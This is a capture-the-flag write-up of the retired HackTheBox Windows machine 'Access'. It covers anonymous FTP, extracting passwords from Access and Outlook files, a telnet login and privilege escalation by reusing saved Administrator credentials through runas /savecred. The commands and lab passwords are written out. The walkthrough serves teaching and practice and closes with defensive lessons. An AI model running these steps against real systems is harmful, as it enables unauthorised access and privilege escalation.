root@thehacksparrow:~/writeups$ SYSTEM ONLINE
· log in sign up
← back to HackTheBox writeups
root@sparrow:~/writeups$ cat access.md
// writeups

Access

29 Sep 2018 · 8 min read
writeupshacktheboxwindowsEasyretiredvip
Access - maquina de Hack The Box

Executive summary — Access is an Easy Windows box of pure file forensics: an anonymous FTP exposes a Microsoft Access database (.mdb) and a ZIP; the .mdb yields the ZIP password, and inside the ZIP is an Outlook mail file (.pst) with security's password. We log in via telnet, and escalation uses saved Administrator credentials (runas /savecred). A FTP → mdb/pst → telnet → runas → Admin path.

PlatformHack The Box
Operating systemWindows
DifficultyEasy
StatusRetired
Target IP10.129.23.42

Attack map

[80] HTTP — static site, no functionality (not the vector)
   │
[21] anonymous FTP → backup.mdb (Access DB) + «Access Control.zip»
   │  mdbtools → ZIP password (access4u@security)
   │  the ZIP contains a .pst (Outlook) → readpst → «security» password
   ▼
[23] telnet as security  (user.txt)
   │  cmdkey /list → SAVED Administrator credentials
   ▼
[ADMIN]  runas /savecred /user:Administrator

1. Reconnaissance

The target has an internal domain name (access.htb). Even though the bare IP already works, it's good practice to map it in /etc/hosts in case any service depends on the Host: header:

echo "10.129.23.42 access.htb" | sudo tee -a /etc/hosts

With the domain resolving, we run a port scan with service detection and default scripts:

nmap -sC -sT -sV access.htb

What we're looking for: which services are open, whether there are weak configurations (anonymous logins, outdated banners), and possible entry vectors.

PortServiceObservation
21FTPAnonymous login allowed
23TelnetRemote access — interesting, cleartext
80HTTPBasic web

2. Web enumeration — a dead end

We visit http://access.htb: just a static page, no functionality or forms. We brute-force hidden paths:

gobuster dir -u http://access.htb -w /usr/share/wordlists/dirb/common.txt

A few directories show up, but they're either inaccessible or contain nothing useful. Conclusion: the web isn't this box's entry point; port 80 is a red herring, and the real vector lies elsewhere.

3. Anonymous FTP — the real entry point

The scan showed FTP allows anonymous access. We connect with empty/generic credentials:

ftp 10.129.23.42   # anonymous / anonymous

Critical detail: before downloading anything we switch to binary mode. Without it, the FTP client transfers in text (ASCII) mode and translates line endings, which corrupts binary files such as an .mdb database or a .zip.

binary

Browsing the server we find two folders, Backups and Engineer, each holding a file of interest:

cd Backups
get backup.mdb

cd ../Engineer
get "Access Control.zip"

4. Access database (.mdb) → ZIP password

The .mdb is a Microsoft Access database. We read it with mdbtools, the standard Linux tool for this proprietary format:

sudo apt install mdbtools -y
mdb-tables backup.mdb

Of the tables listed, auth_user is the most promising: it typically stores the application's authentication credentials.

mdb-export backup.mdb auth_user
access4u@security

The user@something shape looks like a username, but it's actually the full password for the next link in the chain: the ZIP.

5. Protected ZIP → extracting the .pst

unzip "Access Control.zip"

It's password-protected. We try the one we just found in the database — password reuse across systems, a common pattern in boxes like this one:

unzip "Access Control.zip"   # password: access4u@security
# → Access Control.pst

6. Outlook mail (.pst) → security's password

A .pst is an Outlook mail archive. We convert it with readpst (the pst-utils package) to read the messages:

sudo apt install pst-utils -y
readpst "Access Control.pst"

One of the emails contains real system credentials, in plain text — another example of secrets stored where they shouldn't be:

Usuario: security
Password: 4Cc3ssC0ntr0ller

7. Initial access (telnet) and user flag

telnet 10.129.23.42
# login: security / 4Cc3ssC0ntr0ller
cd Desktop
type user.txt

8. Internal enumeration — saved credentials

With a shell as security, we look for ways to escalate privileges. A useful first step on Windows is checking the system's credential store:

cmdkey /list
Target: Domain:interactive=ACCESS\Administrator

What this means: Windows lets you save credentials to reuse them without re-entering the password (Credential Manager). The system has saved Administrator credentials — exactly what we're going to abuse.

9. Privilege escalation — runas /savecred

With runas and the /savecred flag we run commands as Administrator without knowing the password, because Windows reuses it from the store we just found:

runas /noprofile /savecred /user:Administrator "cmd.exe /C type C:\Users\Administrator\Desktop\root.txt > C:\Users\security\Desktop\flag.txt"
  • runas → runs the following command as another user.
  • /savecred → uses the credentials saved in Credential Manager, no password prompt.
  • cmd.exe /C → runs the given command and exits.
  • type root.txt > flag.txt → copies the root flag's content into a file security can actually read.

10. Root flag

type C:\Users\security\Desktop\flag.txt   # root flag

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
Info leakAnonymous FTPSensitive files (.mdb, .zip) accessible without authenticationPassword for the protected ZIP
Info leakAccess database (.mdb)ZIP password stored in plaintext in a tableExtraction of the .pst
Info leakOutlook mail (.pst)security's credentials in plaintext in an emailValid password for telnet
FootholdTelnetCleartext protocol + reused credentialsShell as security
PrivEscWindows Credential ManagerSaved Administrator credentials (runas /savecred)Execution as Administrator

Lessons learned

  • Don't ignore anonymous FTP: even though it looks like a minor service, it can hold critical information other services don't expose.
  • Internal files are gold: a leaked .mdb database or .pst mail file can carry credentials as valid as a direct breach.
  • Don't reuse secrets across systems: the same password opened the ZIP and, in practice, was part of the chain to a system user.
  • Windows stores credentials: cmdkey /list can reveal privileged access that doesn't even need cracking — just reuse.
  • runas /savecred is a direct escalation path whenever a more privileged user's credentials are saved on the system.
  • Telnet is cleartext: use SSH; any credential sent over telnet is only as safe as not encrypting it at all.